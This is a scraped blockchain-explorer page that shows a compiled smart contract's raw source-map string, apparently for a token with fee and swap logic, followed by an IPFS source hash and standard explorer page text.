8::i;:36::-;13113:59:::0;-1:-1:-1;13186:16:0;;13183:63:::1;;13212:8;::::0;13204:40:::1;::::0;-1:-1:-1;;;;;13212:8:0;;::::1;::::0;13204:40;::::1;;;::::0;13231:12;;13212:8:::1;13204:40:::0;13212:8;13204:40;13231:12;13212:8;13204:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13183:63;13282:21;13317:28:::0;;13314:85:::1;;13355:15;::::0;13347:50:::1;::::0;-1:-1:-1;;;;;13355:15:0;;::::1;::::0;13347:50;::::1;;;::::0;13381:15;;13355::::1;13347:50:::0;13355:15;13347:50;13381:15;13355;13347:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13314:85;-1:-1:-1::0;;4704:8:0;:16;;-1:-1:-1;;4704:16:0;;;-1:-1:-1;;;;;;;;12363:1043:0:o;7505:647::-;-1:-1:-1;;;;;7619:23:0;;7595:7;7619:23;;;:12;:23;;;;;;;;7615:46;;;-1:-1:-1;7652:7:0;;7645:14;;7615:46;7706:1;7674:29;7685:6;7693:9;7674:10;:29::i;:::-;:33;7671:459;;;7719:17;7739:58;7767:29;7778:6;7786:9;7767:10;:29::i;:::-;7750:11;;7739:23;;:6;;:10;:23::i;:58::-;7853:4;7835:24;;;;:9;:24;;;;;;7719:78;;-1:-1:-1;7835:39:0;;7719:78;7835:28;:39::i;:::-;7826:4;7808:24;;;;:9;:24;;;;;;;:66;;;;7890:42;;-1:-1:-1;;;;;7890:42:0;;;;;;;7922:9;160:25:1;;148:2;133:18;;14:177;7890:42:0;;;;;;;;7964:1;7946:7;;:20;:63;;;;;8002:7;;7970:29;7981:6;7989:9;7970:10;:29::i;:::-;:39;7946:63;7943:147;;;8011:77;8029:4;4916:42;8051:36;8079:7;;8051:23;8062:11;;8051:6;:10;;:23;;;;:::i;:36::-;8011:9;:77::i;:::-;8107:21;:6;8118:9;8107:10;:21::i;:::-;8100:28;;;;;7671:459;-1:-1:-1;8138:6:0;7505:647;-1:-1:-1;;7505:647:0:o;11924:433::-;12013:16;;;12027:1;12013:16;;;;;;;;11989:21;;12013:16;;;;;;;;;;-1:-1:-1;12013:16:0;11989:40;;12058:4;12040;12045:1;12040:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12040:23:0;;;-1:-1:-1;;;;;12040:23:0;;;;;12084:6;;;;;;;;;-1:-1:-1;;;;;12084:6:0;-1:-1:-1;;;;;12084:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12074:4;12079:1;12074:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12074:23:0;;;:7;;;;;;;;;:23;12140:6;;12108:53;;12125:4;;12140:6;;;;12149:11;12108:8;:53::i;:::-;12172:6;;:177;;-1:-1:-1;;;12172:177:0;;:6;;;;-1:-1:-1;;;;;12172:6:0;;:57;;:177;;12244:11;;12270:1;;12286:4;;12313;;12333:15;;12172:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11978:379;11924:433;:::o;11587:331::-;11700:6;;11668:53;;11685:4;;11700:6;;;-1:-1:-1;;;;;11700:6:0;11709:11;11668:8;:53::i;:::-;11732:6;;11873;;11732:178;;-1:-1:-1;;;11732:178:0;;11795:4;11732:178;;;11172:34:1;11222:18;;;11215:34;;;11841:1:0;11265:18:1;;;11258:34;;;11308:18;;;11301:34;-1:-1:-1;;;;;11873:6:0;;;11351:19:1;;;11344:44;11894:15:0;11404:19:1;;;11397:35;11732:6:0;;;;;;:22;;11762:9;;11106:19:1;;11732:178:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11587:331;;:::o;9099:218::-;9213:4;;9177:7;;-1:-1:-1;;;;;9213:4:0;;;9200:17;;;;9197:38;;-1:-1:-1;9226:7:0;;9219:14;;9197:38;9258:4;;-1:-1:-1;;;;;9258:4:0;;;9248:14;;;;9245:36;;-1:-1:-1;9271:8:0;;9264:15;;9245:36;-1:-1:-1;9298:11:0;;9099:218;;;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6264:127::-;6325:10;6320:3;6316:20;6313:1;6306:31;6356:4;6353:1;6346:15;6380:4;6377:1;6370:15;6396:128;6463:9;;;6484:11;;;6481:37;;;6498:18;;:::i;8801:125::-;8866:9;;;8887:10;;;8884:36;;;8900:18;;:::i;8931:168::-;9004:9;;;9035;;9052:15;;;9046:22;;9032:37;9022:71;;9073:18;;:::i;9104:217::-;9144:1;9170;9160:132;;9214:10;9209:3;9205:20;9202:1;9195:31;9249:4;9246:1;9239:15;9277:4;9274:1;9267:15;9160:132;-1:-1:-1;9306:9:1;;9104:217::o;9458:127::-;9519:10;9514:3;9510:20;9507:1;9500:31;9550:4;9547:1;9540:15;9574:4;9571:1;9564:15;9590:251;9660:6;9713:2;9701:9;9692:7;9688:23;9684:32;9681:52;;;9729:1;9726;9719:12;9681:52;9761:9;9755:16;9780:31;9805:5;9780:31;:::i;9846:980::-;10108:4;10156:3;10145:9;10141:19;10187:6;10176:9;10169:25;10213:2;10251:6;10246:2;10235:9;10231:18;10224:34;10294:3;10289:2;10278:9;10274:18;10267:31;10318:6;10353;10347:13;10384:6;10376;10369:22;10422:3;10411:9;10407:19;10400:26;;10461:2;10453:6;10449:15;10435:29;;10482:1;10492:195;10506:6;10503:1;10500:13;10492:195;;;10571:13;;-1:-1:-1;;;;;10567:39:1;10555:52;;10662:15;;;;10627:12;;;;10603:1;10521:9;10492:195;;;-1:-1:-1;;;;;;;10743:32:1;;;;10738:2;10723:18;;10716:60;-1:-1:-1;;;10807:3:1;10792:19;10785:35;10704:3;9846:980;-1:-1:-1;;;9846:980:1:o;11443:306::-;11531:6;11539;11547;11600:2;11588:9;11579:7;11575:23;11571:32;11568:52;;;11616:1;11613;11606:12;11568:52;11645:9;11639:16;11629:26;;11695:2;11684:9;11680:18;11674:25;11664:35;;11739:2;11728:9;11724:18;11718:25;11708:35;;11443:306;;;;;:::o

Swarm Source

ipfs://fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d363355

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.